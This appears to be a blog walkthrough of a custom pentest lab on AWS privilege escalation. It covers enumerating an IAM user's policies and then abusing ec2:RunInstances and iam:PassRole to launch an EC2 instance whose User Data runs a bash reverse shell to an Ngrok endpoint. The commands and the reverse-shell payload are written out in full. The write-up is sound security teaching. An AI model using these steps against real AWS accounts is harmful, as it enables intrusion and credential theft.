AWS Pentesting: Abusing ec2:RunInstances & iam:PassRole permissions
I have published another blog using a custom lab to showcase how to leverage the ec2:RunInstances & iam:PassRole permissions in the pentest scenario.
In this lab, we would start with an Access Keys of an IAM user. After doing recon, a tester would then know that this IAM user has access to ec2:RunInstances & iam:PassRole permissions. The tester would then create an EC2 instance from an existing image or AMI. A User Data of the EC2 would then be configured so his/her attack payload runs when the EC2 spins up.
Lets start by configuring the AWS Keys as shown below.
While doing a manual recon, lets run aws-enumerator, a tool we can get from this link, to try to brutefoce the permissions that are allowed for the IAM user.
./aws-enumerator cred -aws_access_key_id <Key ID> -aws_secret_access_key <secret key> -aws_region us-east-1
./aws-enumerator enum all
./aws-enumerator dump -services all
The image above shows that our compromised IAM user has permissions to run some EC2 commands.
Run list-user-policies to check for inline policies attached to the IAM user.
Dont forget also to run the list-attached-user-policies command.
Refer to this blog for more detailed IAM enumeration.
aws iam list-user-policies --user-name <user name> --profile <profile name>
aws iam list-user-policies --user-name rootaddict --profile ec2-passrole
The image above shows that there is an inline policy attached to the IAM user. The policy is named “DemoPolicy”.
Retrieve the policy document using the get-user-policy command.
aws iam get-user-policy --user-name <user name> --policy-name <policy name> --profile <profile name>
aws iam get-user-policy --user-name rootaddict --policy-name DemoPolicy --profile ec2-passrole
This policy shows that our IAM user has several interesting permission. Namely the “ec2:RunInstance” and the “iam:PassRole” permissions.
The policy shows that there is an IAM role name CustomRoleForEC2PassRole which our current IAM user can leverage.
Again, as quoted directly from an AWS documentation, iam:PassRole is an AWS Identity and Access Management (IAM) permission that allows an IAM principal to delegate or pass permissions to an AWS service by configuring a resource such as an Amazon Elastic Compute Cloud (Amazon EC2) instance or AWS Lambda function with an IAM role. The service then uses that role to interact with other AWS resources in your accounts. Typically, workloads, applications, or services run with different permissions than the developer who creates them, and iam:PassRole is the mechanism in AWS to specify which IAM roles can be passed to AWS services, and by whom.
The concept of iam:PassRole is straightforward: when a principal (such as a user or a role) initiates an AWS service that needs to execute additional actions, AWS has the service assume an IAM role to carry out those tasks. In this process, the calling principal “passes” a role to the service, which then implicitly assumes that role (without explicitly calling sts:AssumeRole) to perform the necessary actions. The permissions granted to the role can differ from — and may even exceed — those of the principal initiating the action.
Lets review this custom role using the command below.
aws iam list-roles --query "Roles[?RoleName=='Role Name']" --profile <profile name>
aws iam list-roles --query "Roles[?RoleName=='CustomRoleForEC2PassRole']" --profile ec2-passrole
This role allows the AWS EC2 (ec2.amazonaws.com) to assume a specified IAM role. By granting the sts:AssumeRole permission,EC2 can access AWS resources using the permissions defined in the role.
Next, lets run list-instance-profiles list all the instance profiles that are available in your AWS account. An instance profile is a container for an IAM role that you can use to pass role information to an Amazon EC2 instance when it is launched
aws iam list-instance-profiles --profile <profile name>
aws iam list-instance-profiles --profile ec2-passrole
There are two instance profiles namely EC2ManagerRole and SecretsManagerRole. These could be used to manage access for EC2 and Secrets Manager.
Lets run describe-instances to list the EC2 instances in the environment.
aws ec2 describe-instances --profile <profile name>
aws ec2 describe-instances --profile ec2-passrole
The image above shows that there is an EC2 with an AMI of ami-04b4f1a9cf54c11d0. This EC2 is running with EC2ManagerRole instance profile permission.
The ImageId in EC2 refers to the Amazon Machine Image (AMI) ID that you want to use to launch your EC2 instance. An AMI provides the information required to launch an instance.
Lets run describe-instance-status to get the status from running instances
aws ec2 describe-instance-status --profile <profile name>
aws ec2 describe-instance-status --profile ec2-passrole
Setting up the Listener
Ngrok
Once again, lets use Ngrok to get a reverse shell together with Netcat.
Install Ngrok using the commands below:
curl -sSL https://ngrok-agent.s3.amazonaws.com/ngrok.asc \
| sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null \
&& echo "deb https://ngrok-agent.s3.amazonaws.com buster main" \
| sudo tee /etc/apt/sources.list.d/ngrok.list \
&& sudo apt update \
&& sudo apt install ngrok
Run the command below to set the API key/token which we can get after registering and logging to our Ngrok account.
ngrok config add-authtoken <redacted token>
Run the command below to tunnel the traffic hitting the Ngrok endpoint to local host on port 9999.
ngrok tcp 9999
Notice that Ngrok gives this 0.tcp.ap.ngrok.io:18311 endpoint in my lab.
Netcat
Lets use Netcat or other C2 to catch the shell.
nc -nlvp 9999
Let use this as our payload. This payload will be added to the User Data config of the EC2. Lets save this file as “rev.sh”.
User Data is a script or set of commands that you can provide when launching an instance, allowing for automated configuration tasks and customization of the instance during its initial boot process, among other capabilities.
#!/bin/bash
bash -i >& /dev/tcp/0.tcp.ap.ngrok.io/18311 0>&1
Then lets run run-instances, possible because of the ec2:RunInstances permission or API action, command together with the AMI, the file that will be used for User Data, and other required value as show below to run or spin up a new EC2 instance.
aws ec2 run-instances --image-id <ID of the AMI> --instance-type t2.micro --iam-instance-profile Name=EC2ManagerRole --count 1 --user-data "file://rev.sh"
aws ec2 run-instances --image-id ami-04b4f1a9cf54c11d0 --instance-type t2.micro --iam-instance-profile Name=EC2ManagerRole --count 1 --user-data "file://rev.sh"
Review our Netcat listener and confirm that we have the reverse shell.
Lets then get the metadat to get the instance profile of the EC2 instance. The next step would be to check if there are other services that this credentials is allowed to access, e.g. S3, Secrets Manager, etc.
Conclusion:
In this lab, we set up a custom environment which the IAM user has ec2:RunInstances & iam:PassRole permissions. We then created a new EC2 instance, modified the User Data of the instance to run our reverse shell and we caught the reverse shell using Ngrok and Netcat. The next step would be to use this new credential to pivot further in the client’s AWS infrastructure.
References:
https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.html#iampassrole-ec2runinstances
Pwnedlabs’ Command Injection to EC2 User Data Privilege Escalation
https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/user-data.html
https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html
https://aws.amazon.com/blogs/security/how-to-use-the-passrole-permission-with-iam-roles/
https://www.tenable.com/blog/auditing-iampassrole-a-problematic-privilege-escalation-permission